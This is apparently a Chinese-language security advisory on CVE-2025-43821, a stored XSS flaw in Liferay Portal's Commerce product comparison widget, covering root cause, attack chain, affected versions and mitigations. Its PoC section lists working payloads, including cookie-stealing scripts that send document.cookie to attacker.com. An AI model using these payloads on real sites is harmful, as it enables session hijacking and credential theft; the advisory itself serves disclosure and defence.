IPBUF安全漏洞报告
English
CVE-2025-43821 CVSS 5.4 中危

CVE-2025-43821:Liferay Portal Commerce产品比较表XSS漏洞

披露日期: 2025-10-08

漏洞信息

漏洞编号
CVE-2025-43821
漏洞类型
跨站脚本攻击(XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Liferay Portal / Liferay DXP

相关标签

XSS跨站脚本存储型XSSLiferayLiferay PortalLiferay DXPCommerce产品比较表CVE-2025-43821中危漏洞

漏洞概述

CVE-2025-43821是存在于Liferay Portal和Liferay DXP中Commerce Product Comparison Table(产品比较表)组件的跨站脚本(XSS)漏洞。该漏洞的CVSS 3.1评分为5.4分,属于中危级别。

Liferay是一款广泛使用的企业级开源门户平台和数字体验平台(DXP),被大量企业用于构建门户网站、内容管理系统以及电子商务解决方案。其Commerce模块提供了完整的电商功能,包括产品展示、比较、购物车等。

该漏洞位于Commerce Product Comparison Table widget中,允许远程攻击者通过在Commerce产品的名称(Name)文本字段中注入精心构造的恶意载荷来执行任意Web脚本或HTML代码。由于产品名称是用户可编辑的字段,低权限用户(如产品内容编辑者)即可利用此漏洞。

当其他用户浏览包含恶意产品名称的产品比较表页面时,嵌入的恶意脚本将在受害者浏览器上下文中执行,可能导致会话劫持、敏感信息窃取、钓鱼攻击或其他恶意操作。漏洞的存在表明Liferay在渲染用户可控的产品名称字段时未进行充分的输入过滤和输出编码。

技术细节

该漏洞属于存储型XSS(Stored XSS),其根本原因在于Commerce Product Comparison Table widget在渲染产品名称字段时未对用户输入进行适当的HTML实体编码或过滤。

技术原理:
1. Liferay Commerce模块允许管理员或具有相应权限的用户创建和编辑产品信息,其中包括产品名称(Name)字段。
2. 该字段接受用户输入的文本内容,但服务端在存储前未对潜在的恶意HTML/JavaScript代码进行充分过滤。
3. 当产品被添加到Product Comparison Table widget并展示给其他用户时,widget直接渲染了未经转义的产品名称内容。
4. 攻击者可以在产品名称字段中注入类似 `<script>alert(document.cookie)</script>` 或 `<img src=x onerror=...>` 的恶意载荷。
5. 当受害者访问包含恶意产品名称的比较表页面时,浏览器解析并执行嵌入的恶意脚本。

利用条件:
- 攻击者需要拥有Commerce产品的编辑权限(低权限要求,PR:L)
- 需要受害者用户与被注入页面进行交互(UI:R),例如访问产品比较页面
- 攻击通过网络进行(AV:N),攻击复杂度低(AC:L)

影响范围:
- 机密性影响低(C:L):可窃取会话Cookie等敏感信息
- 完整性影响低(I:L):可在受害者上下文中执行未授权操作
- 可用性影响无(A:N):不会直接导致服务不可用
- 影响范围发生变化(S:C):漏洞利用可影响到其他安全域

攻击链分析

STEP 1
步骤1:获取权限
攻击者获取Liferay Commerce模块中产品编辑的低权限账户,可以通过注册、钓鱼或其他方式获得。
STEP 2
步骤2:注入恶意载荷
攻击者在Commerce产品的名称(Name)字段中输入包含恶意JavaScript/HTML代码的载荷,如窃取Cookie的脚本。
STEP 3
步骤3:保存并发布产品
攻击者保存包含恶意载荷的产品信息。由于服务端未对输入进行充分过滤,恶意代码被存储到数据库中。
STEP 4
步骤4:诱导受害者访问
攻击者通过社会工程学手段诱导其他用户(如管理员或普通用户)访问包含该产品的Product Comparison Table页面。
STEP 5
步骤5:执行恶意脚本
当受害者浏览器渲染产品比较表时,嵌入的恶意脚本在受害者会话上下文中执行,可窃取会话凭证、进行权限提升或执行其他恶意操作。
STEP 6
步骤6:数据窃取与持久化
攻击者利用窃取的会话信息进行未授权访问,进一步渗透系统或窃取敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-43821 PoC: Stored XSS via Commerce Product Name field --> <!-- Step 1: Login as a user with Commerce product edit permissions --> <!-- Step 2: Navigate to Commerce > Products > Edit/Create a product --> <!-- Step 3: In the Product Name field, inject the following payload: --> <script>alert('XSS-CVE-2025-43821');document.location='https://attacker.com/steal?cookie='+document.cookie;</script> <!-- Alternative payloads for testing: --> <!-- Payload 1: Basic script injection --> <img src=x onerror=alert(document.domain)> <!-- Payload 2: Cookie exfiltration --> <img src=x onerror="fetch('https://attacker.com/log?c='+document.cookie)"> <!-- Payload 3: Event handler injection --> <svg onload=alert('XSS')> <!-- Step 4: Save the product --> <!-- Step 5: Add the product to a Product Comparison Table --> <!-- Step 6: When another user views the comparison table, the script executes --> // Automated exploitation example using curl (for authorized testing only): // POST /group/control_panel/manage/-/commerce/products/[product-id] HTTP/1.1 // Content-Type: application/x-www-form-urlencoded // // _com_liferay_commerce_product_web_internal_portlet_CPDefinitionsPortlet_productName=<script>alert('XSS')</script>

影响范围

Liferay Portal 7.4.0 - 7.4.3.111
Liferay DXP 2023.Q4.0 - 2023.Q4.5
Liferay DXP 2023.Q3.1 - 2023.Q3.8
Liferay DXP 7.4 GA - 7.4 Update 92

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)限制Commerce产品编辑权限,仅授予可信用户;2)在前端层面部署CSP策略限制脚本执行;3)使用WAF规则过滤常见的XSS载荷;4)启用HTTPOnly Cookie减少会话窃取风险;5)监控异常的产品名称变更操作;6)定期审查产品比较表页面的日志,检测可疑活动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表